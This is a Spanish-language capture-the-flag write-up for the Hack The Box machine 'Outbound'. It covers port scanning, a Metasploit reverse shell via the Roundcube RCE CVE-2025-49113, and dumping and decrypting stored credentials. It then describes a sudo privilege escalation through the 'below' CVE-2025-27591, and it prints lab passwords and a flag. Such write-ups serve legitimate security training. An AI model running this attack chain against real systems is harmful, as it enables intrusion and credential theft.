Outbound

OS: Linux
Dificultad: Fácil
Puntos: 20

Nmap Scan

ports=$(nmap -p- --min-rate=5000 10.129.105.177 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p $ports -sC -sV 10.129.105.177
Nmap scan report for 10.129.105.177
Host is up (0.083s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

HTB nos proporciona credenciales para iniciar la enumeración.

tyler : LhKL1o9Nm3X2

Agregamos el dominio y el subdominio a nuestro archivo hosts.

10.129.105.177  outbound.htb mail.outbound.htb

Iniciamos sesión en la página web del puerto 80.

Entre las opciones podemos ver la versión del software.

Roundcube RCE (CVE-2025-49113)

Investigando vulnerabilidades sobre la versión identificamos que es vulnerable a RCE. Podemos explotarla utilizando metasploit o scripts que hay en github.

En esta ocasión utilizaremos metasploit por lo tanto configuramos los parámetros.

use exploit/multi/http/roundcube_auth_rce_cve_2025_49113
set username tyler
set password LhKL1o9Nm3X2
set rhosts mail.outbound.htb
set lhost 10.10.14.58
run

Al ejecutarlo obtendremos una shell como www-data.

Lateral Movement

En los archivos de configuración de RoundCube encontramos credenciales para la base de datos.

cat /var/www/html/roundcube/config/config.inc.php
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';

Hacemos dump de la DB con mysqldump.

mysqldump -u roundcube -pRCDBPass2025 roundcube > /tmp/db.sql

Al leer el archivo identificamos una cadena en base64.

INSERT INTO `session` VALUES
('6a5ktqih5uca6lj8vrmgh9v0oh','2025-06-08 15:46:40','172.17.0.1','bGFuZ3VhZ2V8czo1Oi...<SNIP>...N0X21vZF9zZXF8czoyOiIxMCI7');

Hacemos decode de la cadena en base64 y vemos un usuario y password cifrado.

En la ruta bin de RoundCube hay diferentes scripts entre ellos decrypt.sh.

ls /var/www/html/roundcube/bin
total 100
drwxr-xr-x 2 www-data www-data  4096 Feb  8 08:47 .
drwxr-xr-x 1 www-data www-data  4096 Jun  6 18:55 ..
-rwxr-xr-x 1 www-data www-data  1329 Feb  8 08:47 cleandb.sh
-rwxr-xr-x 1 www-data www-data   947 Feb  8 08:47 cssshrink.sh
-rwxr-xr-x 1 www-data www-data  2730 Feb  8 08:47 decrypt.sh
-rwxr-xr-x 1 www-data www-data  4740 Feb  8 08:47 deluser.sh

Ejecutamos el script con la cadena cifrada.

/var/www/html/roundcube/bin/decrypt.sh L7Rv00A8TuwJAr67kITxxcSgnIk25Am/
595mO8DmwGeD

Podemos utilizar las credenciales para acceder al contenedor.

jacob : 595mO8DmwGeD

Revisando los correos obtenemos otro password.

cat /home/jacob/mail/INBOX/jacob

Con ese password podemos conectarnos por SSH.

jacob : gY4Wr3a1evp4
ssh jacob@outbound.htb
Last login: Thu Jul 10 11:44:49 2025 from 10.10.14.77
jacob@outbound:~$ ls
user.txt
jacob@outbound:~$ cat user.txt 
e82c9c94b96ee191df57f8dfdd233173

Privilege Escalation

El usuario jacob tiene permisos sudo sobre los siguientes comandos.

jacob@outbound:~$ sudo -l
Matching Defaults entries for jacob on outbound:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jacob may run the following commands on outbound:
    (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*

La version de below que se esta ejecutando es la 0.8.0.

cat Cargo.lock | grep below -A 10 -C 10
[[package]]
name = "below"
version = "0.8.0"

Below (CVE-2025-27591)

Investigando vulnerabilidades vemos que tiene una relacionada con permisos incorrectos. Esto nos permite escalar privilegios a través de links simbólicos.

Para eso utilizamos el siguiente script. Lo copiamos a la maquina y lo ejecutamos de la siguiente forma.

python3 exploit.py

Referencias

https://www.exploit-db.com/exploits/52324
https://github.com/advisories/GHSA-9mc5-7qhg-fp3w
https://github.com/BridgerAlderson/CVE-2025-27591-PoC